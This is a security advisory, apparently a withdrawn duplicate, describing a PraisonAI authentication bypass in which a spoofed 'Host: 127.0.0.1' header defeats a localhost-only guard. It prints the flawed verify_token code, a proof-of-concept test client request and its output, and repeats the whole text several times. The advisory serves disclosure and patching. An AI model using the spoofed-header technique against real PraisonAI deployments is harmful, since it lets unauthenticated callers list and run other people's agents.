CVE-2026-61435

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.

Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
 …

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2gpf-2492-q9jh. This link is maintained to preserve external references.

Original Description

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.

Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
 …

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2gpf-2492-q9jh. This link is maintained to preserve external references.

Original Description

PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints (src/praisonai/praisonai/api/agent_invoke.py) when PRAISONAI_CALL_AUTH=disabled is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from request.url.hostname, which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list (GET /api/v1/agents) and invoke (POST /api/v1/agents/{agent_id}/invoke) registered agents without authentication.

Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
 …